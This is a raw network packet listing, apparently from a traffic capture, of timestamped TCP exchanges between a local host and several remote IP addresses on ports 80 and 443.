Nov 27, 2024 16:34:45.947268009 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.947319031 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.948019981 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.948087931 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.948168993 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.948208094 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.948916912 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.948975086 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.948976040 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.949101925 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.949847937 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.949894905 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.949935913 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.949982882 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.950745106 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.950793028 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.950810909 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.950829983 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.951654911 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.951711893 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.951750040 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.951854944 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.952574015 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.952661991 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.952692986 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.952713966 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.953474045 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.953525066 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.953597069 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.953664064 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.954416990 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.954471111 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.954509974 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.954602003 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.955327988 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.955581903 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.955610037 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.955873966 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.956233025 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.956274033 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.956357002 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.956435919 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.957146883 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.957201958 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.957279921 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.957380056 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.958128929 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.958201885 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.958275080 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.958317041 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.959073067 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.959115028 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.959119081 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.959156036 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.959896088 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.959953070 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.959970951 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.959990978 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.960958004 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.960997105 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.961005926 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.961030960 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.961730957 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.961776972 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.961827993 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.961868048 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.962632895 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.962683916 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.962755919 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.962837934 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.963577986 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.963624954 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.963663101 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.963717937 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.964570045 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.964617968 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.964664936 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.964726925 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.965708971 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.965801954 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.965826988 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.965864897 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.966635942 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.966701984 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.966742039 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.966840029 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.967441082 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.967492104 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.967509031 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.967546940 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.968322992 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.968377113 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.968391895 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.968430996 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.969182968 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.969244957 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.969249010 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.969291925 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.970056057 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.970171928 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.970192909 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.970211983 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.971107960 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.971134901 CET	49821	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:45.971154928 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.971357107 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.971405983 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.972110987 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.972172976 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.972208977 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.972254992 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.972801924 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.972847939 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.972877979 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.972920895 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.973639965 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.973692894 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.973789930 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.973838091 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.974591970 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.974641085 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.974701881 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.974756956 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.975490093 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.975560904 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.975596905 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.975641012 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.976458073 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.976501942 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.976568937 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.982217073 CET	443	49823	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:45.982570887 CET	49823	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:45.982599974 CET	443	49823	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:45.986223936 CET	443	49823	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:45.986294985 CET	49823	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:45.986759901 CET	49823	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:45.986824989 CET	443	49823	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:45.994103909 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.994165897 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.994189978 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.994244099 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.994566917 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.994620085 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.994663954 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.994709015 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.995455027 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.995507956 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.995568037 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.995614052 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:45.996418953 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:45.996505022 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.008131981 CET	443	49817	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:46.008208990 CET	443	49817	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:46.008277893 CET	49817	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:46.008518934 CET	49817	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:46.008539915 CET	443	49817	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:46.008552074 CET	49817	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:46.008558989 CET	443	49817	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:46.012000084 CET	49839	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:46.012037039 CET	443	49839	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:46.012106895 CET	49839	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:46.012319088 CET	49839	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:46.012331009 CET	443	49839	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:46.024671078 CET	443	49824	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:46.025099993 CET	49824	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:46.025127888 CET	443	49824	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:46.025531054 CET	443	49824	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:46.025866985 CET	49824	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:46.025928974 CET	443	49824	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:46.026788950 CET	443	49826	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:46.026998997 CET	49826	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:46.027005911 CET	443	49826	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:46.027208090 CET	443	49827	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:46.027280092 CET	443	49828	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:46.027378082 CET	49827	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:46.027390957 CET	443	49827	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:46.027508974 CET	49828	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:46.027518988 CET	443	49828	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:46.028059006 CET	443	49826	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:46.028163910 CET	49826	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:46.028425932 CET	443	49827	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:46.028482914 CET	49827	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:46.028626919 CET	49826	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:46.028677940 CET	443	49826	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:46.028753042 CET	443	49828	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:46.028800964 CET	49828	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:46.028930902 CET	49827	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:46.028987885 CET	443	49827	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:46.029324055 CET	49828	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:46.029418945 CET	443	49828	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:46.042639017 CET	49825	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:46.042664051 CET	443	49825	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:46.056842089 CET	443	49819	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:46.056914091 CET	443	49819	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:46.057384014 CET	49819	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:46.057384014 CET	49819	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:46.057473898 CET	49819	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:46.057513952 CET	443	49819	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:46.060340881 CET	49840	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:46.060369968 CET	443	49840	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:46.060522079 CET	49840	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:46.060682058 CET	49840	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:46.060695887 CET	443	49840	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:46.065395117 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.065490961 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.065511942 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.065629005 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.065850973 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.065890074 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.065896988 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.066119909 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.066754103 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.066797972 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.066823959 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.066865921 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.067667007 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.067722082 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.080614090 CET	49823	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:46.080627918 CET	443	49823	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:46.080629110 CET	49827	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:46.080638885 CET	443	49827	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:46.080641031 CET	49826	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:46.080657959 CET	49828	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:46.080667019 CET	443	49826	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:46.080673933 CET	443	49828	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:46.124031067 CET	443	49820	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:46.124097109 CET	443	49820	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:46.124326944 CET	49820	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:46.124366045 CET	49820	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:46.124387980 CET	443	49820	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:46.124406099 CET	49820	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:46.124413013 CET	443	49820	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:46.130418062 CET	49841	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:46.130456924 CET	443	49841	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:46.130575895 CET	49841	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:46.130743980 CET	49841	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:46.130759001 CET	443	49841	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:46.136265039 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.136326075 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.136370897 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.136461973 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.136667013 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.136715889 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.136718035 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.136770010 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.137639046 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.137753010 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.138031006 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.138071060 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.138235092 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.138365984 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.138914108 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.138966084 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.139031887 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.139081001 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.139803886 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.139910936 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.139945030 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.139995098 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.140602112 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.140661001 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.140724897 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.140769958 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.141628981 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.141697884 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.141731024 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.141814947 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.142507076 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.142587900 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.142596006 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.142635107 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.142915010 CET	49824	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:46.142980099 CET	49825	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:46.143408060 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.143496990 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.143557072 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.144228935 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.144269943 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.144331932 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.144411087 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.145212889 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.145257950 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.145276070 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.145459890 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.146047115 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.146092892 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.146162033 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.146322012 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.146912098 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.146979094 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.146979094 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.147018909 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.147881985 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.147937059 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.148005009 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.148097992 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.148916006 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.148989916 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.148993969 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.149039030 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.149759054 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.149843931 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.149876118 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.149919033 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.150597095 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.150707006 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.150716066 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.150787115 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.151480913 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.151525974 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.151604891 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.151695967 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.152390957 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.152432919 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.152509928 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.152620077 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.153415918 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.153462887 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.153580904 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.153624058 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.154392958 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.154437065 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.154444933 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.154531956 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.155333996 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.155359030 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.155380964 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.155424118 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.156045914 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.156095982 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.156151056 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.156255960 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.156910896 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.156961918 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.156992912 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.157097101 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.157810926 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.157881021 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.157939911 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.157979012 CET	49777	80	192.168.2.7	185.215.113.206
